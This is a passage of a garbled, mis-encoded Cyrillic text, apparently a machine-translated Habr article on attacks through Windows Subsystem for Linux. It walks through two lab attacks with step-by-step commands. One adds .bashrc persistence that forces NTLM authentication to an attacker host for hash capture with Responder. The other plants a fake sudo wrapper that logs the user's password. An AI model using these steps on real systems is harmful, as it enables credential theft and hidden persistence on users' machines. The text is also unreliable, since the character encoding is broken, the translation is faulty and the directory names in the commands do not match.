ΠΠ΅Π½Π΅Ρ Microsoft ΠΎΠ±Π΅Π·Π±Π΅Π΄ΡΠ²Π° ΠΌΠΎΠΆΠ½ΠΎΡΡ Π·Π° ΠΏΡΠ΅ΡΡΠ»ΡΠ²Π°ΡΠ΅ ΠΏΠΎΠΌΠ΅ΡΡ WSL 1 ΠΈ WSL 2. ΠΠ²Π΅ΡΠ΅ Π²Π΅ΡΠ·ΠΈΠΈ ΡΠ΅ Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΈ Π·Π° ΡΠΏΠΎΡΡΠ΅Π±Π°.
WSL Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΡ
ΠΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠΎΠ², ΠΏΠΎΡΡΠΎΡΠ°Ρ Π½Π΅ΠΊΠΎΠ»ΠΊΡ Π΄Π΅Π»Π° ΠΊΠΎΠΈ ΠΎΠΏΠΈΡΡΠ²Π°Π°Ρ Π½Π΅ΠΊΠΎΠΈ ΠΏΡΠΈΡΡΠ°ΠΏΠΈ Π·Π° ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ½ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈ Π°Π»Π°ΡΠΊΠΈ Π·Π° Π½Π°ΠΏΠ°Π΄ Π½Π° ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΏΠΎΠΌΠ΅ΡΡ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΈΡΠ΅. ΠΠ΅ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π½ΠΈΠ²Π½ΠΈΡΠ΅ ΡΠΊΡΠΈΠΏΡΠΈ Π·Π° Π΄Π° ΡΠ° ΠΏΡΠΎΠ²Π΅ΡΠΈΠΌΠ΅ ΡΠ΅Π»Π΅Π²Π°Π½ΡΠ½ΠΎΡΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅ Π²ΠΎ ΠΌΠΎΠΌΠ΅Π½ΡΠΎΡ Π½Π° ΠΏΠΈΡΡΠ²Π°ΡΠ΅. ΠΠΏΡΡΠ° Π»ΠΈΡΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΈ ΡΡΠ΅Π½Π°ΡΠΈΡΠ°:
1. ΠΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΡΠ΅Π½ ΡΠΈΡΡΠ΅ΠΌ: ΠΏΡΠ°Π²Π° Π½Π° ΠΏΡΠΈΡΡΠ°ΠΏ, Π΄ΠΎΡΡΠ°ΠΏΠ½ΠΎΡΡ Π½Π° ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΈ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ/ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° ΡΠ°Π·ΠΌΠ΅Π½Π° Π½Π° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ.
ΠΠ΅ΡΠ΅ ΡΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΎ ΠΈΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ Π·Π° Π΄Π° ΡΠ΅ ΡΡΠ²ΡΠ΄Π°Ρ ΠΏΡΠ΅ΠΊΡΡΡΠ²Π°ΡΠ°ΡΠ° Π½Π° ΠΏΡΠ°Π²ΠΈΠ»Π°ΡΠ° Π·Π° ΠΏΡΠΈΡΡΠ°ΠΏ ΠΎΠ΄ Linux FS->Windows Π€Π‘, Windows FS->Linux FS. ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ ΡΠ° ΠΏΠΎΠΊΠ°ΠΆΠ° ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡΠ° Π·Π° ΠΌΠ΅Π½ΡΠ²Π°ΡΠ΅ Π½Π° Π΄Π°Π΄Π΅Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° ΡΠ΅Π»Π½ΠΈΠΎΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ. ΠΠ΅Π° Π½Π°ΠΏΡΠ°Π²Π΅Π½ΠΈ ΠΈ ΠΎΠ±ΠΈΠ΄ΠΈ Π·Π° Π·Π°ΠΌΠ΅Π½Π°, ΡΠΎΠ·Π΄Π°Π²Π°ΡΠ΅ Π΄ΡΠΏΠ»ΠΈΠΊΠ°ΡΠΈ ΠΈ Π±ΡΠΈΡΠ΅ΡΠ΅ Π½Π° Π΄Π΅Π» ΠΎΠ΄ Π΄Π°ΡΠΎΡΠ΅ΡΠ½ΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
- A. ΠΠ°ΠΏΠ°Π΄ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Windows β ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΎΠ΄ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΎΡ /etc Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux.
- Π. ΠΠ°ΠΏΠ°Π΄ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux β ΠΌΠΎΠ΄ΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ Π²ΠΎ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡΠΌΠΈ:
C:Windows,C:Program Files,C:Users<User>
2. ΠΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ° Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΠΎΡ ΡΡΠ΅ΠΊ.
ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ Π±Π΅ΡΠ΅ ΡΠΏΡΠΎΠ²Π΅Π΄Π΅Π½ΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΠΏΡΠΈΠΌΠ΅ΡΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux Π½Π° WindowsΠΠ΅Π° ΠΈΡΠΊΠΎΡΠΈΡΡΠ΅Π½ΠΈ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΡΠ΅ ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠΈ Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΠΎΡ ΡΡΠ΅ΠΊ, ΠΏΠΎΡΠΎΡΠ½ΠΎ Π½Π΅Π³ΠΎΠ²ΠΈΡΠ΅ ΠΌΠ΅Ρ Π°Π½ΠΈΠ·ΠΌΠΈ Π·Π° Π°Π²ΡΠ΅Π½ΡΠΈΠΊΠ°ΡΠΈΡΠ° Π·Π° ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ ΡΠ΅ΡΡΡΡΠΈ.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
- ΠΡΠ²ΠΎΡΠ°ΡΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΠΏΠΎΡΡΠ° ΡΡΠΎ Π΅ Π·Π°ΡΠ°ΡΠ΅Π½Π° Π²ΠΎ ΡΠΈΡΡΠ΅ΠΌΠΎΡ Windows
- ΠΡΠ²ΠΎΡΠ°ΡΠ΅ ΠΏΠΎΡΡΠ° Π±Π΅Π· ΡΠΎΠΎΠ΄Π²Π΅ΡΠ½ΠΈ ΠΏΡΠ°Π²Π°
- ΠΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΎΠ±ΡΠ°ΡΠ½Π° ΠΎΠ±Π²ΠΈΠ²ΠΊΠ° ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° elf Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π²ΠΎ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π΅Π½ ΡΠΈΡΡΠ΅ΠΌ Windows.
3. Π‘ΠΎΠΊΡΠΈΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ ΠΏΡΠΎΡΠ΅ΡΠΈ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° WSL ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΎΡ.
ΠΡΡΡΠ°ΠΆΡΠ²Π°ΡΠ΅ΡΠΎ Π±Π΅ΡΠ΅ Π·Π°ΡΠ½ΠΎΠ²Π°Π½ΠΎ Π½Π° Π΅Π΄Π½ΠΎΡΡΠ°Π²Π΅Π½ ΡΠ°ΠΊΡ - Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΡΠ΅ ΠΏΠΎΡΡΠΈΡΡΠ΅ΠΌΠΈ Π½Π΅ ΠΌΠΎΠΆΠ°Ρ Π΄Π° ΠΏΡΠ΅ΡΡΠ΅ΡΠ½ΡΠ²Π°Π°Ρ Π½Π°ΡΡΠ°Π½ΠΈ Π²ΠΎ Π΄ΡΡΠ³ΠΎ ΡΠ°Π΄ΡΠΎ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° Π»Π΅Π³ΠΈΡΠΈΠΌΠ΅Π½ ΠΏΡΠΎΠ²Π°ΡΠ΄Π΅Ρ ΠΎΠ΄ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Π²ΠΎ ΡΠ»ΡΡΠ°ΡΠΎΡ Π½Π° WSL 1. ΠΠΎ ΡΠ»ΡΡΠ°ΡΠΎΡ Π½Π° WSL 2, Π½Π΅ ΠΏΠΎΡΡΠΎΠΈ Π½Π°ΡΠΈΠ½ Π΄Π° ΡΠ΅ ΠΏΡΠ΅Π³Π»Π΅Π΄Π°Π°Ρ Π½Π°ΡΡΠ°Π½ΠΈΡΠ΅ ΡΡΠΎ ΡΠ΅ ΡΠ»ΡΡΡΠ²Π°Π°Ρ Π²ΠΎ ΠΏΠΎΡΠ΅Π±Π΅Π½ ΠΊΠ΅ΡΠ½Π΅Π» Π²ΠΎ ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° Π»Π΅ΡΠ½Π°ΡΠ° Π²ΠΈΡΡΡΠ΅Π»Π½Π° ΠΌΠ°ΡΠΈΠ½Π°.
Π‘ΡΠ΅Π½Π°ΡΠΈΠΎ:
1) Π‘ΡΠ°ΡΡΡΠ²Π°ΡΡΠ΅ ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π·Π° Π΄Π°Π»Π΅ΡΠΈΠ½ΡΠΊΠΈ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΡΠΈΡΡΠ΅ΠΌΠΎΡ ΠΈ ΠΏΡΠ΅Π³Π»Π΅Π΄Π°ΡΡΠ΅ Π³ΠΈ Π½Π°ΡΠ°Π²Π΅Π½ΠΈΡΠ΅ Π½Π°ΡΡΠ°Π½ΠΈ.
WSL 1 ΠΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ: Π₯Π°ΡΠΈΡΠ°ΡΠ΅ (ΠΠ‘ Windows)
ΠΠΎΠ½Π΅ΡΠ½ΠΎ ΡΡΠΈΠ³Π½Π°Π²ΠΌΠ΅ Π΄ΠΎ ΠΏΡΠ°ΠΊΡΠΈΡΠ½ΠΈΠΎΡ Π΄Π΅Π». ΠΡΠ²ΠΎ, ΡΡΠ΅Π±Π° Π΄Π° ΡΠ° ΠΏΠΎΡΡΠ°Π²ΠΈΠΌΠ΅ ΡΡΠ΅Π΄ΠΈΠ½Π°ΡΠ° Π·Π° ΡΠ΅ΡΡΠΈΡΠ°ΡΠ΅. Π‘ΠΈΡΠ΅ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ ΡΠ΅ ΡΠ΅ ΡΠΏΡΠΎΠ²Π΅Π΄ΡΠ²Π°Π°Ρ Π½Π° ΡΠ΅ΡΡ-ΠΊΠ»ΡΠΏΠ° ΡΠΎ Windows 10 2004. Π‘Π»ΠΈΠΊΠ°ΡΠ° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ ΠΈΠ·Π±ΡΠ°Π½Π° Π·Π° WSL Π±Π΅ΡΠ΅ Ubuntu 18.04 Π°ΠΏΡΠΈΠ». Π‘Π»ΠΈΠΊΠ°ΡΠ° Π±Π΅ΡΠ΅ ΠΈΠ·Π±ΡΠ°Π½Π° ΡΠ»ΡΡΠ°ΡΠ½ΠΎ, ΠΈ ΠΊΠΎΡΠ° Π±ΠΈΠ»ΠΎ Π΄ΡΡΠ³Π° ΡΠ΅ ΡΠ°Π±ΠΎΡΠΈ ΠΈΡΡΠΎ ΡΠΎΠ»ΠΊΡ Π΄ΠΎΠ±ΡΠΎ. ΠΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΠΎΡΡΠ°Π²ΠΊΠ°ΡΠ°:
ΠΡΠ²ΠΎ ΠΌΠΎΡΠ° Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ΡΠ΅ powershell.exe ΠΊΠ°ΠΊΠΎ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ.
ΠΠ° WSL 1 ΡΡΠ΅Π±Π° Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅:
- ΠΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ-WindowsΠ€Π°ΠΊΡΠ»ΡΠ°ΡΠΈΠ²Π½Π° ΠΊΠ°ΡΠ°ΠΊΡΠ΅ΡΠΈΡΡΠΈΠΊΠ° -ΠΠ½-Π»Π°ΡΠ½ -ΠΠΌΠ΅ Π½Π° ΠΎΠ΄Π»ΠΈΠΊΠ°ΡΠ° ΠΠ°ΡΠΊΡΠΎΡΠΎΡΡ-Windows-ΠΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌ-Linux #ΠΠ²ΠΎΠ·ΠΌΠΎΠΆΠΈ ΡΠ° ΡΡΠ½ΠΊΡΠΈΡΠ°ΡΠ° WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΡΠΈΡΠ°Ρ ΡΠ»ΠΈΠΊΠ° Linux ΠΎΠ΄ ΠΏΡΠΎΠ΄Π°Π²Π½ΠΈΡΠ°ΡΠ° Π½Π° Microsoft
ΠΡΠΊΠ°ΠΊΠΎ ΡΠ΅ Π³ΠΎ ΡΠ΅ΡΡΠ°ΡΡΠΈΡΠ°ΡΠ΅ ΠΏΠΎΠ΄Π΅ΡΡΠ²Π°ΡΠ΅ΡΠΎ, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΡΠ° ΠΈΠ·Π²ΡΡΠΈΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° bash. ΠΠΊΠΎ ΡΓ¨ ΡΠ°Π±ΠΎΡΠ΅ΡΠ΅ ΠΏΡΠ°Π²ΠΈΠ»Π½ΠΎ, ΡΠ΅ Π²ΠΈΠ΄ΠΈΡΠ΅ ΡΠ»ΠΈΡΠ΅Π½ ΠΈΠ·Π»Π΅Π· Π²ΠΎ ΠΊΠΎΠ½Π·ΠΎΠ»Π°ΡΠ°. Windows:

ΠΠ΅ ΡΠ° ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π΄ΠΈΡΡΡΠΈΠ±ΡΡΠΈΡΠ°ΡΠ° Kali ΠΊΠ°ΠΊΠΎ ΠΌΠ°ΡΠΈΠ½Π° Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ. Linux, ΡΠΈΡΠ΅ ΠΌΠ°ΡΠΈΠ½ΠΈ ΠΌΠΎΡΠ° Π΄Π° Π±ΠΈΠ΄Π°Ρ Π½Π° ΠΈΡΡΠ°ΡΠ° Π»ΠΎΠΊΠ°Π»Π½Π° ΠΌΡΠ΅ΠΆΠ°.
ΠΠ° ΠΏΡΠ΅ΡΠΏΠΎΡΡΠ°Π²ΠΈΠΌΠ΅ Π΄Π΅ΠΊΠ° ΠΈΠΌΠ°ΠΌΠ΅ Π½Π΅ΠΏΡΠΈΠ²ΠΈΠ»Π΅Π³ΠΈΡΠ°Π½ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ WSL Π½Π° ΠΌΠ°ΡΠΈΠ½Π°ΡΠ° WindowsΠΡΠ΄Π΅ Π΄Π° ΡΠ΅ ΠΎΠ±ΠΈΠ΄Π΅ΠΌΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΠ°Π΄Π½Π΅ΠΌΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ. Linux, ΠΏΠΎΠ²ΠΈΠΊΡΠ²Π°ΡΡΠΈ ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° ΠΎΠ΄ LinuxΠΠ° Π΄Π° Π³ΠΎ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ°ΠΌΠ΅ Π½Π°ΠΏΠ°Π΄ΠΎΡ, ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈΠΌΠ΅ Π΅Π΄Π½ΠΎΡΡΠ°Π²Π½Π° ΡΠ΅Ρ
Π½ΠΈΠΊΠ° Π½Π° Π°Π²ΡΠΎΠΌΠ°ΡΡΠΊΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ - ΡΠ΅ ΡΠ° Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π½Π°ΡΠ°ΡΠ° ΡΠΊΡΠΈΠΏΡΠ° Π²ΠΎ ΠΎΠΊΠΎΠ»ΠΈΠ½Π°ΡΠ°. LinuxΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, ΡΡΠ΅Π±Π° Π΄Π° ΡΠ° ΠΏΡΠΎΠΌΠ΅Π½ΠΈΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° .bashrc.
ΠΠ° ΠΌΠ°ΡΠΈΠ½Π° ΡΠΎ WSL ΠΈΠ·Π²ΡΡΡΠ²Π°ΠΌΠ΅:
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exitΠ‘ΠΎ Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ» Π½Π° ΠΠ°Π»ΠΈ Linux ΠΈΠ·Π²ΡΡΡΠ²Π°ΠΌΠ΅:
1. Responder -I eth0 -rdvwΠ‘ΠΎ Π°Π²ΡΠΎΠΌΠΎΠ±ΠΈΠ» Windows ΠΡΠ΄Π΅ Π΄Π° Π·Π°ΠΏΠΎΡΠ½Π΅ΠΌΠ΅ Π±Π°Ρ.
ΠΠΈ ΡΠ΅ΠΊΠ°ΠΌΠ΅ ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΈΡΠ΅ Π½Π° ΠΌΠ°ΡΠΈΠ½Π°ΡΠ° Kali. Linux:

ΠΠ½Π°ΡΠΈ, Π³ΠΈ Π΄ΠΎΠ±ΠΈΠ²ΠΌΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈΡΠ΅ Ρ
Π΅ΡΠΎΠ²ΠΈ Windows ΠΏΡΠ΅ΠΊΡ WSL ΠΏΠΎΠ΄ΡΠΈΡΡΠ΅ΠΌΠΎΡ ΡΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΎΡ Linux.
WSL 1 ΠΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΠΈ: ΠΠΎΠ±ΠΈΠ²Π°ΡΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° (ΠΠ‘) Linux)
ΠΡΠ΄Π΅ Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈΠΌΠ΅ ΡΡΡΠ΅ Π΅Π΄Π΅Π½ Π΅ΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½Ρ. ΠΠ° Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΎΠ²Π°Π° ΠΏΡΠΎΠ²Π΅ΡΠΊΠ° ΡΠ΅ Π΄ΠΎΠ΄Π°Π΄Π΅ΠΌΠ΅ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° .bashrc Π½Π΅ΠΊΠΎΠ»ΠΊΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° Π΄Π° ΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅ ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠ°ΡΠ° Π»ΠΎΠ·ΠΈΠ½ΠΊΠ° Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux.
ΠΡΠ΄Π΅ Π΄Π° Π³ΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΠΌΠ΅ bash ΠΈ Π΄Π° Π³ΠΈ Π²Π½Π΅ΡΠ΅ΠΌΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit ΠΠ° Π½Π°ΠΏΠ°Π΄ΠΎΡ Π΄Π° Π±ΠΈΠ΄Π΅ ΡΡΠΏΠ΅ΡΠ΅Π½, ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π‘Π΅ΠΌ ΠΌΠΎΡΠ° Π΄Π° ΡΠ° ΠΏΠΎΠ²ΠΈΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° sudo Π²ΠΎ ΡΠ΅ΡΠΌΠΈΠ½Π°Π»ΠΎΡ. LinuxΠΠΎΡΠ»Π΅ ΠΎΠ²Π°, Π»ΠΎΠ·ΠΈΠ½ΠΊΠ°ΡΠ° Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊΠΎΡ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠ²Π½ΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Linux ΡΠ΅ Π±ΠΈΠ΄Π΅ Π²ΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° pass.txt:

Π‘ΠΏΡΠΎΠ²Π΅Π΄ΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅ Π±Π΅ΡΠ΅ Π΄Π°Π΄Π΅Π½ΠΎ ΡΠ°ΠΌΠΎ Π·Π° ΡΠ΅ΠΎΡΠ΅ΡΡΠΊΠΈ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈ.
Π‘Π»Π΅Π΄Π½ΠΈΠΎΡ Π΄Π΅Π» ΠΎΠ΄ ΡΡΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ ΡΠ° ΠΎΠΏΠΈΡΠ΅ ΠΈΠΌΠΏΠ»Π΅ΠΌΠ΅Π½ΡΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ 9P, ΡΠ΅ ΡΠ°Π·ΠΌΠΈΡΠ»ΠΈ Π·Π° ΡΠΎΠ·Π΄Π°Π²Π°ΡΠ΅ ΡΠΊΠ΅Π½Π΅Ρ Π·Π° ΠΎΠ²ΠΎΡ ΠΏΡΠΎΡΠΎΠΊΠΎΠ», Π° ΠΈΡΡΠΎ ΡΠ°ΠΊΠ° ΡΠ΅ ΠΈΠ·Π²ΡΡΠΈ Π½Π°ΠΏΠ°Π΄ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ Π³ΠΎ.
Π‘ΠΏΠΈΡΠΎΠΊ Π½Π° ΠΊΠΎΡΠΈΡΡΠ΅Π½Π° Π»ΠΈΡΠ΅ΡΠ°ΡΡΡΠ°
ΠΡΠΎΡΠΈΡΠ°Ρ ΠΏΠΎΠ²Π΅ΡΠ΅
ΠΠ·Π²ΠΎΡ: www.habr.com
